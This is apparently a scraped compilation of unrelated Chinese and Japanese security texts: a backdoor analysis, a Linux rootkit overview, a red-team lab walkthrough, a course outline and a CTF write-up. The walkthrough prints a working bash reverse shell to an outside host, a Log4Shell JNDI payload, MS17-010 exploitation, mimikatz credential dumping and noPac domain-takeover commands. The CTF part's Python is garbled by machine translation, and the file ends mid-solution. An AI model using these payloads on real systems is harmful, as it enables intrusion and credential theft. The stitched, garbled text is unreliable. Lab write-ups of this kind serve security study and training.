HttpService 是另一個偵聽指定端口的後門:它可以是命令行參數、取決於示例的預定義端口或配置文件中的值: exe_name .ini。我們發現了幾個默認端口為19336、19334、19333 的示例,以及上傳到VT 的兩個不同的配置文件,值分別為19336 和19335。

每個示例都有一個硬編碼版本。我們發現的文件屬於三個不同的版本:0.0.5、0.0.11v4H 和0.0.15v4H。 0.0.5 版本使用Simple TCP 服務器偵聽指定端口,而0.0.11v4H 和0.0.15v4H 版本基於Simple HTTP Server。它們都使用HTML Agility Pack 進行HTML 解析,使用IonicZip 庫進行壓縮操作。

後門的最高版本(0.0.15v4H)具有多種功能,包括命令執行和文件操作。

命令執行:命令“cmd”使後門通過cmd.exe運行指定命令,並以如下格式返回結果: div style='color: red' result_string /div 。此外,後門可以在收到“i=”命令時啟動交互式cmd shell,其參數可以是:

“1”–從shell 獲取輸出並將其發送回CC。

“2”–結束交互式shell 並清理。

Default-解碼和解密異或字符串,然後在shell 中運行命令並保存輸出。

與WinScreeny 類似,該惡意軟件也具有“s=”命令,其中字符串異或與1 字節密鑰0x24 作為參數。解碼後的字符串由cmd.exe 運行並將結果返回給服務器。

代理連接:收到“p=”或“b=”命令後,後門使用受害者的計算機作為它作為參數獲取的URL 的代理。後門與此URL 通信,重定向CC 服務器的請求,並等待響應將其發送回CC。

下載和上傳文件:“f=”或“1=”命令允許後門從作為參數給定的路徑下載文件,或者將作為參數給定的文件與消息正文的內容一起寫入。在收到“m=”命令後,惡意軟件將消息內容寫入路徑base_directory client_address .out,從base_directory client_address .in 中讀取數據,並將其發送給CC。如果該文件不存在,惡意軟件會創建該文件並將當前日期和時間寫入其中。

運行SQL 命令:“con=”/“c=”命令接收SQL DB 連接字符串和SQL 查詢,並將結果返回給服務器。

操作本地文件:“ path ”命令檢查文件/目錄是否存在,然後根據查詢值執行以下三個運行:

' zip ' -從目錄內容創建一個zip文件,並將其返回給CC;

' unzip ' -使用CC提供的路徑解壓縮文件;

“del”-刪除文件。

有趣的是,在所有這三種情況下,惡意軟件都會將整個目錄內容(包括子目錄)作為HTML 頁面返回,其中包含Zip、Unzip 和Delete 按鈕,具體取決於文件的類型。這是攻擊者端的接口:

11.png

ServerLaunch滴管HttpServer 版本0.0.5 的示例連同其dropper(稱為dwDrvInst.exe)一起提交,它模仿DameWare 可執行的遠程訪問軟件。該工具的PDB 路徑具有相同的模式,C:\work\ServerLaunch\Release\ServerLaunch.pdb。但是,該工具是用C++ 編寫的,而不是像所有其他工具一樣的.NET,並且是在2021 年12 月2 日編譯的,大約是攻擊前2個月。

ServerLaunch 在資源中包含三個可執行文件,分別位於C:\Users\Public\ 中的ionic.zip.dll、httpservice2 和httpservice4。然後惡意軟件不帶任何參數地啟動httpservice2 和httpservice4。它們每個都有一個不同的預定義端口來監聽,這可能允許攻擊者確保CC 通信的某種冗餘。

攻擊中涉及的文件我們已經討論了幾種不同的工具以及與其執行相關的一些工件。很明顯,所有這些工具都是由同一個攻擊者創建並相互關聯的。例如,屏幕截圖工具Winscreeny 不包含將創建的屏幕截圖上傳回攻擊者的功能,這可能意味著它依賴其他後門來執行此操作。所有工具的重複出現的Service1 名稱表明不同的後門,如果在同一台設

序言從西方APT組織的攻擊歷史及已經洩露的網絡武器看,高隱匿、高持久化(LowSlow)是其關鍵特徵,而Rootkit 則是達成此目的的重要技術之一。

在“【Rootkit 系列研究】Windows平台的高隱匿、高持久化威脅”裡,我們介紹了Windows Rootkit的生存期,可達成的效果,運用這項技術展開攻擊的可行性以及這項技術的發展現狀。除了Windows操作系統,Linux、Mac OS等同樣受Rootkit關注。在本文中,我們將目光投向Linux操作系統。我們首先對近年來用戶態Rootkit在黑產組織中的廣泛使用進行討論,接著介紹內核態Rootkit的高度定制化需求和Linux系統上存在的其他類型Rootkit,最後從攻防視角對Rootkit進行總結。

難以檢測的Linux Rootkit想像以下場景:由於業務需要,你們公司穩定運行多年的某台Linux服務器需要進行系統升級,在完成升級後,你偶然注意到服務器上多了幾個看起來像系統文件的文件(夾),你的第一反應是什麼?這是新版本引入的系統文件,pass?有點可疑,去搜索引擎查詢這些文件名是否正常?小心!任何一絲異常的背後都可能潛藏著巨大的危險。

Rootkit在幾乎所有操作系統上都是最具挑戰性的惡意軟件類型,它利用操作系統代碼中的疏忽,隱藏它的存在和惡意行為。製作精良的Rootkit可以在受害主機長期駐留,讓主機在用戶視角和部分內核視角沒有任何感知,進而很難通過系統提供的檢測工具以及常規的防病毒軟件進行檢測和清除。

用戶態倍受黑產青睞Linux Rootkit運行時所處的層次分用戶層和內核層兩種。對於運行於用戶層的用戶態Rootkit,它所涉及的技術簡單且成熟,例如替換系統文件,動態鏈接庫劫持等。對近兩年曝光的黑產組織攻擊樣本進行分析,我們發現越來越多的黑產組織以某些開源Rootkit為基礎,將用戶態Rootkit技術加入自己的技術棧。

進一步講,黑產組織喜歡將用戶態Rootkit作為其攻擊鏈中multi-stage-malware的一部分,即他們沒有將Rootkit功能集成在原本的挖礦或殭屍網絡樣本中,而是在原有惡意軟件的基礎上新增Rootkit,用於實現隱藏文件等新的功能,以規避安全公司提出的感染檢測方案:“通過檢查某些路徑、文件的存在與否,判斷某主機是否受到某惡意軟件的影響”。

根據某海外安全廠商2020年底的報告,H2Miner挖礦家族開始使用新的Rootkit樣本。該Rootkit修改自開源項目“beurk”,它使用LD_PRELOAD技術劫持動態鏈接過程,將磁盤上的挖礦文件“kinsing”以及正在運行的相關進程隱藏。這使得IT管理員在感知到系統運行速度無故變慢後,無法通過“top”命令看到佔用大量CPU資源的挖礦進程。值得一提的是,H2Miner家族目前仍十分活躍,我們發現2021年底該家族使用Log4j漏洞進行挖礦軟件傳播。 (鏈接:12.12 Log4j RCE 黑產從業者的狂歡)

2021年我們還觀測到活躍的TeamT/N/T挖礦家族使用的Rootkit樣本(鏈接:1.10 2021挖礦木馬趨勢報告)。該家族除了利用修改自開源項目“Diamorphine”的內核態Rootkit之外,還在用戶層替換了ps、top等系統命令文件,當使用這些命令進行排查時,挖礦的相關痕跡會被隱藏。具體代碼如圖:

ynl4c5xlvap20074.jpg

2021年4月,某海外安全廠商曝光了一種新型遠控程序Facefish,他們懷疑攻擊者正在進行殭屍網絡組網,併計劃在組網完成後,以“訪問權限即服務”(access-as-a-service)的方式出售該網絡的訪問權限。 Facefish遠控通過第一階段的dropper釋放出一個Rootkit,Rootkit利用用戶態常用的動態鏈接庫劫持技術,實現ssh、sshd的運行時鏈接程序劫持,最終在受害主機上放置一個後門。事實上,對於一個Rootkit程序,Facefish的這種用法十分原始,因為它僅利用了Rootkit的觸發機制,惡意so文件中還可以增加一系列隱藏功能。動態鏈接庫劫持效果如圖:

hzmxbv03zdf20075.jpg

為了降低被懷疑的概率,上述組織使用的惡意動態鏈接庫分別命名為libsystem.so、libs.so,它們刻意模仿Linux的系統自帶程序文件名,並駐留在系統文件路徑下,企圖蒙蔽服務器管理員。

試想如果你在包含上百個so文件,並且這些文件的文件名均以“lib”開頭的文件夾/lib64中看到了libs.so,這會引起你的懷疑嗎?不過對於防禦的一方,上述場景並不會讓人夜不能寐,因為針對用戶態Rootkit,有諸如文件完整性檢測、交叉視圖等十分成熟的檢測技術。歸根結底,這些Rootkit都只運行在用戶層,當防禦措施深入進操作系統內核,從底向上看,他們通通無處遁形。

內核態的高度定制化防禦方可以深入Linux操作系統內核進行防守,攻擊的一方當然也可以進入內核層進行攻擊。越接近Linux操作系統底層內核代碼,Rootkit的開發難度越大,對其進行檢測的難度也越高。對攻擊者來說,高投入通常意味著更有價值的攻擊目標和更高的回報,如果開發得當,Rootkit可以長期藏匿在目標機器中,所以內核態Rootkit也是攻擊者關注的重點。

傳統的內核態Rootkit使用可加載內核模塊(LKM)技術進入內核層後,在內核層進行“hook”。從執行在用戶態的程序調用“int0x80”陷入內核開始,整個系統調用流程中的任何一個位置,都可能成為內核態Rootkit進行hook的目標,圍繞“hook什麼”,“如何hook”這兩個問題,出現了近十種內核態Rootkit技術。

與用戶態Rootkit不同,由於內核態Rootkit直接對Linux內核源代碼進行操縱,所以對Rootkit有極高的定制化要求。這是因為經過多年的發展,Linux的內核版本眾多,每個版本的內核代碼都有或多或少的修改,攻擊者開發的某個內核態Rootkit可以在A版本上正常運行,很可能在B版本上完全失效,這就可能出現文章開頭提到的那一幕。

前文提到的TeamT/N/T挖礦家族除了在用戶態替換系統命令文件外,還使用內核態Rootkit技術,將惡意內核模塊diamorphine.ko加載進內核,實現進程、模塊、文件目錄的隱藏以及用戶權限的提升。該挖礦家族以雲主機為目標,Rootkit只能在2.6.x、3.x、4.x內核版本上正常運行,具體實現如圖:

j1q4hbtamzp20078.jpg

除了黑產,APT組織發起的定向攻擊中也用到了內核態Rootkit。 APT組織對隱蔽性有更高的要求,這也給信息收集環節提出了更大的挑戰,APT組織需要清楚的知道某次定向攻擊的目標所使用Linux服務器的內核版本號。在必要條件下,APT組織可以拿到與目標服務器完全相同的實體,並直接在其上進行Rootkit開發。例如震網病毒事件中,攻擊者對目標設備瞭如指掌,而後在惡意代碼中加入了嚴苛的環境判斷。再例如2020年曝光,據稱由APT28開發的內核態Rootkit Drovorub,它針對3.7以下版本的Linux內核,特別是Red Hat發行版進行攻擊。

內核態攻防進入深水區Rootkit最關鍵的要點是隱藏,而隱藏意味著攻擊者清楚的知道為什麼某個文件(夾)會顯示,為什麼某個網絡連接可被觀測,然後對這些顯示的機制進行繞過,以達到隱藏的效果。攻擊者知道的這些機制,防禦方當然也知道,並且對其開展檢測,而攻擊者進一步進行繞過,隨後便產生了攻防雙方的貓鼠遊戲。 Linux內核態Rootkit攻防的本質,是雙方誰對操作系統底層技術更加了解。繼續深入Linux內核,有沒有更加底層的Rootkit技術?答案當然是有,而且近年來越來越多。

2015年,Ryan利用Linux內核中的kprobe機制實現了Rootkit。 Kprobe是Linux內核開發者用於內核函數跟踪的一種輕量級內核調試技術,這個Rootkit展示了利用基於kprobe機制進行hook,實現Rootkit功能的可行性。

2016年,Michael在Blackhat上提出了一種基於命名空間的新型Linux Rootkit——Horse Pill,它在操作系統啟動過程中劫持虛擬根文件系統initrd(boot loader initialized RAM disk),使受攻擊的服務器進入另一個由攻擊者創建的“楚門的世界”(即一個子命名空間)。在這個子命名空間中,用戶所有的操作都能正常執行,但完全意識不到還存在另一個並行運行的,由攻擊者所控制的“真實世界”。

在kprobe的基礎上,Linux 4.0以上版本增加了eBPF技術,該技術可以在不加載內核模塊的前提下,在Linux內核中運行用戶編寫的程序。 Guillaume在2021年Blackhat上公開了基於eBPF的Rootkit。

總結雖然kprobe、Horse Pill、eBPF在內核更加底層的位置完成了Rootkit的隱藏功能,但是痕跡是否真的隱藏,會根據觀測的視角而大不相同。理論上不存在沒有任何痕蹟的Rootkit,總有某些角度可以觀測到系統出現了異常,因為如果一個程序在所有視角都隱藏,那麼攻擊者也無法對它進行控制。上述這些技術可以被攻擊者所利用,而防禦方同樣可以利用它們。現在各安全公司已利用它們設計功能更強大的安全軟件,對系統進行監控。

我們已經深入Linux內核深處,是否還存在更加底層的Rootkit? 2021年12月28日,海外某安全公司給出了突破操作系統的答案。他們發現了固件Rootkit“iLOBleed”,其隱藏在惠普固件HP iLO 上,同時可以以最高權限訪問和修改設備上所有的軟硬件資源。

事實上,對於現有的高級Rootkit,安全軟件已經非常難以檢測,通常需要安全專家人工介入分析,可以想像某些由APT組織定向投遞的Rootkit正在受害機器中潛伏。對Rootkit技術進行研究,不是去解決想像中的問題,而是回應真實的ring0世界。

參考資料https://www.4hou.com/posts/vLmm

https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html

https://therecord.media/malware-campaign-targets-server-hosting-software-cwp/

https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamT/N/T.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Leibowitz-Horse-Pill-A-New-Type-Of-Linux-Rootkit.pdf

https://github.com/elfmaster/kprobe_rootkit

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf

https://www.secureworld.io/industry-news/access-as-a-service-rising-in-popularity

https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/

https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/

网络拓扑

5vlcsux0x3x14611.png

信息搜集

渗透测试第一步当然是信息搜集

拿到 IP192.168.81.151我们先使用nmap对他进行常规TCP端口的扫描

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.81.151

发现开放了22,38080这两个端口

xgi5ucxgyq114615.png

通过nmap我们可以得知这是一台Ubuntu,22是ssh,而38080这个端口是unknown的,我们尝试访问一下

4qmd500pltk14619.png

于是尝试最近爆出的新漏洞 CVE-2021-44228 尝试看看能不能获取到 dnslog

1bpjjaqauq014621.png

发现存在 CVE-2021-44228漏洞,尝试去获取一个shell

CVE-2021-44228 利用

首先在我们的VPS kali(192.168.81.133) 开启一个LDAP:

git clone https://github.com/black9/Log4shell_JNDIExploit.git

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.81.133

w4csjoie0y414623.png

然后在kali上nc监听9999端口:

ds2bx1fmatv14626.png

我们使用TOMCATBYpass进行反弹shell

iez0rudukcq14629.png

/bin/bash -i >& /dev/tcp/192.168.210.23/9999 0>&1 -反弹shell

反弹shell命令需要进行base64编码

ipfadmz3qjs14632.jpg

BP抓包,改为post传参并且构造payload

payload=${jndi:ldap://192.168.81.133:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgxLjEzMy85OTk5IDA+JjE=}

最后使用EXP成功反弹shell,要对base64编码进行两次url编码才能执行

ye2bibr4evz14635.png

rhxdwymykww14638.png

发现当前拿到的shell是一个docker容器

想办法逃逸也失败了,最后在/root/目录下找到了flag文件:

xrhzmzbdkpb14640.png

flag{redteam.lab-1}

Congratulations, you got this: saul Saul123

得到了一个flag,还有一个类似于账号密码的东西

在信息收集中nmap扫到目标主机开放22ssh服务,因此思考可能是ssh的账号密码

内网信息搜集

通过上节得到的账号和密码登陆到了Ubuntu系统

hb4gygwn5sj14643.png

我们可以看到当前机器拥有两块网卡,一块ens33用于链接外网,一块ens38用于内网通信

bu2ghjmycwc14645.png

在实战的内网渗透中:如果是在 linux 环境下的内网渗透尽量形成全部 bash  python 化,因为 Linux 都完全自带,而在 windows 下的内网渗透则尽量全部形成 powershell,bat、vbs 化,尽量不要过于依赖外部工具。

所以我们使用for循环ping一下ens38的c段网络

for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

2vqizkezzu514648.png

发现内网还有一台机器10.0.1.7存在

或者使用 scan info 工具进行内网信息收集

kali中使用python快速搭建httpd

在这里插入图片描述

靶机下载工具并赋予权限

在这里插入图片描述

进行内网信息收集

在这里插入图片描述

发现10.0.1.7存活并存在MS17-010

随后为了方便,我选择用 frp 把当前机器的流量代理出来:

配置frps.ini

0rbideza2f114661.png

配置frpc.ini

dpgcr2xkqzl14664.png

然后使用 Metasploit 设置 Socks5 对内网进行深度信息搜集;

setg Proxies socks5:192.168.81.133:8888
setg ReverseAllowProxy true

33mc4lluimi14665.png

使用 smb 版本探测模块对目标进行扫描:

use auxiliary/scanner/smb/smb_version

yqdgm1mjdba14669.png

发现目标10.0.1.7版本是windows7,并且存在域REDTEAM

既然是windows7,那么就可能存在MS17-010漏洞

MS17-010利用

通过上节,我们知道了10.0.1.7是win7,接下来进行探测

ogmrlf2kedd14673.png

通过探测得知这台机器是存在ms17-010漏洞的

由于目标是内网不一定出网,故而tcp反射连接不能使用 设置为payload正向bind_tcp

v2bpgj4bo0c14676.png

fejfz5oxjyp14680.png

直接拿到win7权限,然后加载mimikataz把密码抓出来

Username   Domain   Password
root REDTEAM Red12345
meterpreter > load mimikatz  加载工具

meterpreter > creds_all      列出凭证  
注意命令是从内存中抓取密码,靶场原始状态为暂停恢复即可,如果重启过需要登录一次win7

02ybgo1kcks14685.png

这个时候就得到了一个域用户的账号了。

内网利器 CVE-2021-42287、CVE-2021-42278

通过对当前内网的信息搜集之后发现,win7还有一块内网的网卡

ugtiuscwcny14689.png

2rtokssp1b314691.png

且定位到域控到域控 IP  10.0.0.12

zn3nnmsx25c14693.png

由于最近爆出了两个域内漏洞:CVE-2021-42287、CVE-2021-42278,直接尝试利用一下。

具体原理是:假如域内有一台域控名为 DC(域控对应的机器用户为 DC),此时攻击者利用漏洞CVE-2021-42287创建一个机器用户saulGoodman,再把机器用户 saulGoodman的sAMAccountName改成DC。然后利用DC去申请一个TGT票据。再把DC的sAMAccountName改为sAMAccountName。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC(DC是域内已经的域控DC  sAMAccountName),攻击者利用刚刚申请的 TGT进行 S4U2self,模拟域内的域管去请求域控 DC  ST 票据,最终获得域控制器DC的权限。

于是直接使用MSF添加一个socks5

ugxxngnjik414695.png

添加路由

run autoroute -s 10.0.0.7/24

qgoqm0bcgbt14697.png

然后我们把本地的代理加上就行了

csmzeqp32vj14698.png

利用工具下载地址

https://github.com/WazeHell/sam-the-admin

https://github.com/Ridter/noPac

https://github.com/waterrr/noPac

然后利用脚本即可

proxychains python3 sam_the_admin.py "redteam.lab/root:Red12345" -dc-ip 10.0.0.12 -shell
proxychains python noPac.py redteam.lab/root:'Red12345' -dc-ip 10.0.0.12 -shell --impersonate administrator -use-ldap
proxychains python3 exp.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

3gz055pxk0f14700.png

最后也是拿到了最终的 Flag。

xhns0d4fdro14702.png


靶机环境: 链接: https://pan.baidu.com/s/18pXdC2f_zDsXONpSUg1fYg 提取码: 8dcy 
原文链接:http://www.kryst4l.cn/2021/12/22/%E4%BB%8E%E5%A4%96%E7%BD%91-log4j2-RCE-%E5%86%8D%E5%88%B0%E5%86%85%E7%BD%91%E6%A0%B8%E5%BC%B9%E7%BB%84%E5%90%88%E6%8B%B3%E6%BC%8F%E6%B4%9E-CVE-2021-42287%E3%80%81CVE-2021-42278-%E6%8B%BF%E5%88%B0-DC/

0x00 红队基础知识

一、构建一个大型内网域环境搭建

  • 父域控制器
  • 子域控制器
  • 辅域控制器
  • 域内主机
  • 域内服务器

二、Windows NTLM(NT LAN Manager)认证原理Kerberos 域内认证原理

0x02 内网信息搜集篇

一、工作组和大型域内网如何进行信息搜集

  • 如何搜集本机密码

    • MySQL
    • SQL Server
    • ... ...
    • Linux 如何搜索特定的密码文件
    • 搜集指定用户的命令历史记录中的各种明文密码
    • Windows 2012 高版本以上如何搜集密码

    • Windows 2012 版本以下如何搜集密码

    • 关于 Linux 下如何搜集各种密码信息

    • 无线密码抓取

    • 组册表里各种健值敏感信息

    • 搜集数据库中保存的各类高价值账号密码

    • 搜集保存在目标系统本地各种文档中的明文密码

    • 针对各类常用 windows 办公软件的各类密码搜集

  • 如何搜集VPN密码

  • 如何搜集浏览器相关凭证

    • Chrome 浏览器抓取凭证
    • Firefox 浏览器抓取凭证
    • 360 浏览器抓取凭证
    • IE 浏览器抓取凭证
  • 如何搜集各种数据库信息

    • 通过 LDAP 定位核心机器
    • 通过 LDAP 获取内网架构分布
    • 通过 LDAP 获取内网组织架构
    • 通过 LDAP 获取域内核心机器
    • Mysql

    • SQL Server

    • Oracle

    • PostgreSQL

    • LDAP

  • 根据当前跳板机器搜集网络环境(判断那种协议出网)

  • 获取当前系统的详细IP配置,包括所在域, ip, 掩码, 网关, 主备 dns ip

  • 获取当前系统最近的用户登录记录

  • 获取当前用户的所有命令历史记录(针对于 Linux)

  • 远程截屏捕捉目标用户敏感操作

  • 获取当前机器环境变量(Java、Python、Go ...)

  • 获取当前本机 rdp / ssh 端口开启状态及其默认端口号

  • 获取本机所有已安装软件的详细列表

  • 获取本机各个浏览器中保存的、书签页、历史浏览记录

  • 获取当前用户桌面、回收站里的所有文件列表

  • 获取当前系统代理

  • 获取当前系统的所有 ipc 连接、共享

  • 获取当前系统host文件内容

  • 利用系统自带截屏捕捉目标用户敏感操作

  • ...

二、搜集目标内网邮箱

  • 企业内网邮箱信息搜集

    • 通过邮箱对内网进行整体分析
  • Exchange内网邮箱信息搜集

    • 通过邮箱对内网进行整体分析
  • ... ...

三、搜集目标内网各种Web页面、Web框架、登陆入口

  • Tomcat
  • Struts2
  • Weblogic
  • Jboss
  • Jekins
  • Apache Solr
  • ... ...

四、搜集各类客户端软件

  • FTP

    • XFtp
    • WinSCP
    • FileZilla
    • Xshell
    • MobaXterm
  • 远程客户端管理

    • 向日葵
    • TeamViewer
  • SSH

    • WinSCP
    • MobaXterm
    • Xshell

五、对于内网存活机器信息搜集

  • NetBIOS
  • ICMP
  • TCP
  • UDP
  • ARP

六、针对成百上千的内网如何快速信息搜集

  • 如何快速对一个 C 段进行信息搜集
  • 如何快速对一个 B 段进行信息搜集
  • 如何快速对一个 A 段进行信息搜集

0x03 内网穿透、流量代理、端口转发篇

一、根据当前跳板机器判断出网情况

  • TCP/UDP
  • ICMP
  • DNS
  • HTTP
  • HTTPS

二、正/反向代理连接工具

  • Metasploit
  • CobaltStrike
  • proxychains
  • SSocks
  • frp
  • ...

三、端口转发

  • LCX
  • Metasploit
  • netsh
  • iptables
  • powershell

四、内网穿透工具

  • FRP
  • NPS
  • spp
  • venom

五、针对不出网主机如何上线到 C2(Metasploit、CobaltStrike)

  • DNS
  • HTTP
  • ICMP
  • SMB

六、针对常规不出网主机如何做内网穿透、流量代理

  • DNS出网的话

    • iodine
  • HTTP/HTTPS出网的话

    • reGeorg
    • Neo-reGeorg

0x04 权限提升篇

一、Windows

  • Windows 提权之内核溢出提权

  • Windows 提权之土豆系列(Windows 9 种权限利用)

  • Windows 提权之第三方服务提权

  • Windows 提权之系统错误配置提权

  • Windows 提权之 Bypass UAC

  • 数据库提权

    • Mysql UDF 提权
    • Mysql MOF 提权
    • SQL Server XP_cmdshell 提权
    • SQL Server SP_oacreate 提权
    • SQL Server 其他提权
    • ... ... 等等

二、Linux

  • Linux 提权之内核溢出提权
  • Linux 提权之 SUID 提权
  • Linux 提权之利用错误配置提权
  • Linux 提权之计划任务提权
  • Linux 提权之利用高权限服务提权
  • ... ... 等等

0x04 各种 C2 使用以及深度分析篇

一、Metasploit

  • Metasploit|七大模块详解

  • Metasploit|针对 Auxiliary 辅助模块的常规使用

  • Metasploit|针对 Exploit 漏洞利用模块的常规使用

  • Metasploit|针对 Payload 模块生成各种(正/反)漏洞利用可执行文件

  • Metasploit|针对 Post 后渗透利用模块的常规使用

  • Metasploit|获取当前机器的明文密码及 Hash

  • Metasploit|获取提权的有效模块进行权限提升

  • Metasploit|窃取键盘记录、获取目标屏幕截图、文件上传下载操作、以及 load 扩展使用

  • Metasploit|根据当前跳板机器如何添加路由、进行端口转发、内网穿透

  • Metasploit|如何连接到 Postgresql 数据库进行管理渗透记录

  • Meterpreter|添加 Socks 代理

  • Meterpreter|设置 session 永久不掉线(防止权限丢失)

  • Meterpreter|设置上线之后自动进程迁移(防止权限丢失)

  • Meterpreter|开启目标远程桌面服务 3389 端口

  • Meterpreter|针对内网各种服务进行爆破

    • 针对内网所有 Windows 存活机进行批量 SMB 爆破
    • 针对内网所有 Mssql 存活机进行批量爆破
    • 针对内网所有 Mysql 存活机进行批量爆破
    • 针对内网所有 Linux 存活机 进行批量 Ssh 爆破
    • 针对内网所有 Redis 存活进行批量爆破
    • 针对内网所有存活 Postgresql 进行批量爆破
    • 针对内网所有存活 Telnet 进行批量爆破
    • 针对内网所有存活 Ftp 进行批量爆破
    • 针对内网 Exchange 的 ews 接口爆破
  • Meterpreter|如何发现内网下各类高价值存活主机

    • 探测内网 SMB,Windows 存活
    • 探测内网 SSH,Linux 存活
    • 探测内网 MySQL 存活
    • 探测内网 MsSQL 存活
    • 探测内网 RDP 存活(3389)
    • 探测内网 Telnet 存活
    • 探测内网 FTP 存活
    • 探测内网 Web 组件快速批量识别
    • 探测内网 MS17-010 漏洞
    • 探测内网 CVE-2019-0708 漏洞
  • Metasploit 与 Cobalt Strike 双双联动

  • 如何单靠 Metasploit 来对内网进行渗透

二、CobaltStrike

  • Cobalt Strike|安装与简介
  • Cobalt Strike|创建监听以及生 Payload
  • Cobalt Strike|如何基于 HTTP / SMB 上线
  • Cobalt Strike|如何抓当前机器的密码 HASH
  • Cobalt Strike|内网端口扫描以及发现内网存活机器
  • Cobalt Strike|端口转发、Socks 代理
  • Cobalt Strike|进程窃取、屏幕截图、键盘记录、进程迁移
  • Cobalt Strike|第三方插件的使用(渗透攻击红队)
  • Cobalt Strike|如何造轮子写一个自己的插件
  • Cobalt Strike|内网批量上线
  • Cobalt Strike|针对于不同的网络环境上线不出网的机器
  • Cobalt Strike|中转上线内网不出网的机器
  • Cobalt Strike 与 Metasploit 双双联动

三、Poshc2TSH... ...

0x05 内网横向移动篇

一、基于 Metasploit 下的横向移动基于 Cobalt Strike 下的横向移动利用 PsExec 来横向移动利用 SMBExec 来横向移动利用 WMIExec 来横向移动IPC 命令行攻击

  • at 定时任务
  • schtasks 定时任务
  • wmic
  • WinRm

二、哈希传递(Pass The Hash)横向移动

0x06 域内攻击篇

从域外对域内进行枚举搜集各类信息从域外对域内进行密码喷洒攻击令牌窃取在实际域渗透中的灵活运用哈希传递(Pass The Hash)攻击MS14-068 票据传递(Pass the Ticket)攻击域渗透中活动目录 ntds.dit 文件的获取与实际应用Windows 2008 GPP 组策略首选项漏洞利用域渗透之非约束委派攻击利用域渗透之约束委派攻击利用域渗透之基于资源的约束委派攻击利用NetLogon 域内提权漏洞(CVE-2020-1472)利用 krbtgt 来打造 Golden Ticket(黄金票据) 对域内进行权限维持通过服务账号 Hash 来打造 Silver Ticket(白银票据) 进行 PTK内网渗透中的 Net-NTLM Relay Attack利用 Skeleton Key 对域内权限进行权限维持通过 Hook PasswordChangeNotify 拦截修改的帐户密码通过 SSP 来获取目标登陆的凭据从而达到权限维持的手段通过 GPO(组策略对象)批量控制域内主机AS-REP Roasting Attack多种域内漏洞组合拳利用跨域攻击、如何从子域攻击到主域无域用户下如何进行域渗透如何从 A 域 渗透到 B 域域内定向攻击,获取指定机器的权限通过 Windows 域外远程获取目标域内数据通过 Linux 域外远程获取目标域内数据

0x07 Exchange 攻击篇

对内网里 Exchange 邮件服务进行枚举邮箱用户和密码喷洒攻击对内网里 Exchange 邮件服务进行 NTLM RelayExchange CVE-2020-0688 远程代码执行漏洞利用Exchange 常规内外网打点搜集  [Exchange存活、目标 Exchange 接口、定位 Exchange 服务器]基于 Metasploit 对 Exchange 的常规接口爆破Exchange 导出指定邮件内网...

0x08 杀软对抗篇

免杀制作思路基于白名单绕过Payload 免杀编写Bypass add userCobalt Strike Profile 分析以及编写通过域名+CDN 隐藏 C2(Metasploit、CobaltStrike)Metasploit 通过 ACL 隐藏 Bind Shell

0x09 权限维持篇

工作组下如何进行内网渗透域环境下如何进行内网渗透Linux 集群环境渗透姿势

1. pyc

PYCを使用してオンラインで逆コンパイルしてPythonソースコードを取得します。

#!/usr/bin/env python

#詳細については、https://tool.lu/pyc/をご覧ください

#version: python 3.8

ランダムをインポートします

def encrypt_file(file_path):

random.seed(114514)

#警告: Decompyleが不完全

file_path='./flag'

encrypt_file(file_path)

次に、AI分析を使用して、対応する復号化スクリプトを取得します

ランダムをインポートします

OSをインポートします

def decrypt_data(encrypted_data):

random.seed(114514)

decrypted_data=bytearray()

byte in necrypted_data:の場合

key=random.randint(0、128)

decrypted_data.append(byte ^ key)

decrypted_dataを返します

def read_file(file_path、mode='rb'):

open(file_path、mode)をfile:として

file.read()を返します

def write_file(file_path、data、mode='wb'):

open(file_path、mode)をfile:として

file.write(data)

def decrypt_file(encrypted_file_path、output_file_path):

encrypted_data=read_file(encrypted_file_path)

decrypted_data=decrypt_data(encrypted_data)

write_file(output_file_path、decrypted_data)

__NAME __=='__ Main __' :の場合

encrypted_file_path='flag.enc'

output_file_path='flag_decrypted.txt'

decrypt_file(encrypted_file_path、output_file_path)

#flag {u_r_g00d_at_do1n_pyc}

2. mwatch

ヒント:データセキュリティ研究者がスマートデバイスによって収集されたデータをリアルタイムで分析すると、デバイスユーザーの価値が高いことを検出します。最高の値を分析するのに役立ちます。フラグ{MD5(データ収集デバイス名データ受信デバイス名値)}

心拍数は何度も表示されます。質問の説明に基づいてこれを探す必要があります。関連する心拍数のみを確認してください

image-20240428205017240

image-20240428205017240

フラグ{MD5(MIスマートバンド5_REDMI K40_128)}

フラグ{453D8FEDA5ADB6E7B4D54F71A9CE9E14}

3. babyrsa

ヒント:特定の従業員には、素数を生成する初期値があり、このアルゴリズムを長時間実行しました。このプログラムは誤って終了し、誤って初期値を削除しました。プレーンテキストを復元できますか?

ソースコード:

#task.py

#!/usr/bin/env python3

# - * - coding: utf-8-* -

秘密のインポートフラグから、init

crypto.util.Numberインポートから *

sage.allからimport *

gmpy2インポートirootから

m=bytes_to_long(flag.encode())

r=getPrime(128)

p=init

#範囲(r-1):の場合

#p +=next_prime(init)

#arsert iroot(p、3)[1]==1

Q=getPrime(12)

#n=p*q*r

n=r ** 4*q

E=getPrime(17)

c=pow(m、e、n)

印刷(f'r={r} ')

print(f'e={e} ')

印刷(f'c={c} ')

#R=287040188443069778047400125757341514899

#E=96001

#c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

Qを取得するために12ビットの素数を爆破してから復号化します

crypto.util.Numberからlong_to_bytesをインポートします

R=287040188443069778047400125757341514899

E=96001

